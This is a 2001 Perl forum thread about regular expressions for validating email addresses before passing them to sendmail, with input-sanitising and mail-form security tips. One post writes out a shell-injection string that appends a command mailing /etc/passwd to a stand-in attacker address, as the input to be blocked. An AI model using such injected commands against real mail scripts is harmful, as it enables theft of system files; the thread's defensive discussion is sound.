CGI/Perl Guide | Learning Center | Forums | Advertise | Login
Site Search: in

  Main Index MAIN
INDEX
Search Posts SEARCH
POSTS
Who's Online WHO'S
ONLINE
Log in LOG
IN

Home: Perl Programming Help: Regular Expressions:
Email matching

 



manunkind
Novice

Jun 11, 2001, 3:14 PM

Post #1 of 11 (14614 views)
Email matching Can't Post

Just wondering....what is the best and most accurate email matching regular expression that you guys use. Each different script and book I read uses a different one, so I just wanted to ask some of you guys what you use.



Jasmine
Administrator

Jun 11, 2001, 8:03 PM

Post #2 of 11 (14611 views)
Re: Email matching [In reply to] Can't Post

The "best and most accurate" email regex is 4,000+ characters long (RFC822). Easiest way to use it is to grab the Email::Valid module at CPAN.


Code
use Email::Valid; 

print ( Email::Valid->address( 'email@address.com' ) ? 'yes' : 'no' );



manunkind
Novice

Jun 11, 2001, 9:11 PM

Post #3 of 11 (14609 views)
Re: Email matching [In reply to] Can't Post

Thanks Jasmine! I didn't even know about that one.





kencl
User

Jun 16, 2001, 6:18 PM

Post #4 of 11 (14599 views)
Re: Email matching [In reply to] Can't Post

Unfortunately, my ISP won't install that module. Here's a regex I tried, but it won't compile. Any idea why?

Code
m/[^a-zA-Z0-9]_-\.\@/g

I'm only allowing apha-numerics, underscores, dashes, dots and one @ sign. (at least that's what I'm trying to do...)

>> If you can't control it, improve it, correlate it or disseminate it with PERL, it doesn't exist!


mhx
Enthusiast

Jun 17, 2001, 3:36 AM

Post #5 of 11 (14593 views)
Re: Email matching [In reply to] Can't Post

Hi,

Just put the Email::Valid Module in your cgi-bin directory if your ISP doesn't want to install it. You can use any 'pure Perl'-Modules by putting them in your scripts directory. You can get the module from CPAN.

-- Marcus



kencl
User

Nov 16, 2001, 12:10 AM

Post #6 of 11 (14535 views)
Re: Email matching [In reply to] Can't Post

Email::Valid is pretty useless. I'm using version 0.13 and it's saying addresses like a@b/c.com, a@b^c.org and a_b@c.d are valid. It even said that $@#.% and {@}./ were valid!

In case you think it's my code, I'm using:

Code
$testthis = '{@}./'; 
if (Email::Valid->address($testthis)) {
print "$testthis passed!";
} else {
print "$testthis failed $Email::Valid::Details check.";
}

The output for the above example was: {@}./ passed!

>> If you can't control it, improve it, correlate it or disseminate it with PERL, it doesn't exist!


yapp
User

Nov 16, 2001, 3:26 AM

Post #7 of 11 (14533 views)
Re: Email matching [In reply to] Can't Post

Well. You've got a problem indeed.

E-mail can't be matched. Well, you can use jasmines regexp.
the poblem is that there doesn't even need to be a @ in it. You can have a e-mail like "Fred-&-Barney"@gfd.com

Hoever. For external e-mail addresses a @ is used to separate the mailbox and domain name. You can simply validate something like

Code
if( $emial =~ m[^(.+)@(.+)\.(.+)$] )

I never validate more then this.

to be really sure, you need to send a e-mail to that address, containing instructions how to proceed further. As long as the user hasn't done that, your script should mark the e-mail address as invalid, or something else.

Yet an Other Perl Programmer

_________________________________
Find out more about programming
http://www.cool-programming.f2s.com


kencl
User

Nov 16, 2001, 8:18 AM

Post #8 of 11 (14529 views)
Re: Email matching [In reply to] Can't Post

I'm validating for security reasons. The e-mail address will be passed through the shell to sendmail. I need to untaint it with a regex so a user can't enter
; mail cracker@badguys.net </etc/passwd
and retrieve the password file.

The regex I'm working on so far looks like:

Code
m/^[a-zA-Z0-9]([a-zA-Z0-9_-])*(\.[a-zA-Z0-9]([a-zA-Z0-9_-])*)*\@[a-zA-Z0-9]([a-zA-Z0-9_-])*(\.[a-zA-Z0-9]([a-zA-Z0-9_-])*)*\.[a-zA-Z]{2,8}$/

As you can see, I'm still early on the regex learning curve :)

>> If you can't control it, improve it, correlate it or disseminate it with PERL, it doesn't exist!


yapp
User

Nov 17, 2001, 3:18 AM

Post #9 of 11 (14524 views)
Re: Email matching [In reply to] Can't Post

Wasn't there something like \w or \d for a-zA-Z or 0-9?? (i am not sure)

again:
If you really need to know wheter the user's e-mail is correct,
you should send him a e-mail first. That e-mail contains the instructions/password he should enter IF he want's to proceed.

Some forums use that aswell.

Or am I just don't getting your question / situation?

Yet an Other Perl Programmer

_________________________________
Find out more about programming
http://www.cool-programming.f2s.com


kencl
User

Nov 17, 2001, 8:16 AM

Post #10 of 11 (14521 views)
Re: Email matching [In reply to] Can't Post

Yeah, a "word character" \w is [a-zA-Z0-9_] That never was the exact character class I wanted.

What I'm doing is receiving form input from a text box, saving it to a database, and subsequently using it in the TO: field for SendMail. I can't send whatever the user enters through the shell until I've verified that it's just an e-mail address. I don't care if it is a bad address. I handle that problem within the script. I just need to make sure I'm not sending some cracker's attempt to break into the server.

>> If you can't control it, improve it, correlate it or disseminate it with PERL, it doesn't exist!


yapp
User

Nov 18, 2001, 2:05 AM

Post #11 of 11 (14518 views)
Re: Email matching [In reply to] Can't Post

Very cool that you're so careful about mail scripts.

Here are some notes / tips:
- make sure you're sending the email only IF the request_type is POST. Otherwise someone can bookmark the page.
- you can test something with domains maybe (if the mailfrom is called from a valid domain)
- make sure there are no line breaks in the e-mail / subject fields. You can place more SMTP header tags after it. I always test that in my mailform script.

Oh I forgot
- Never code the e-mail address you're sending to in the HTML code. Use a alias in stead. You convert that alias into the real e-mail address using a hash.

Yet an Other Perl Programmer

_________________________________
Find out more about programming
http://www.cool-programming.f2s.com

(This post was edited by yapp on Nov 18, 2001, 1:09 AM)

 
 


Search for (options) Powered by Gossamer Forum v.1.2.0

Web Applications & Managed Hosting Powered by Gossamer Threads
Visit our Mailing List Archives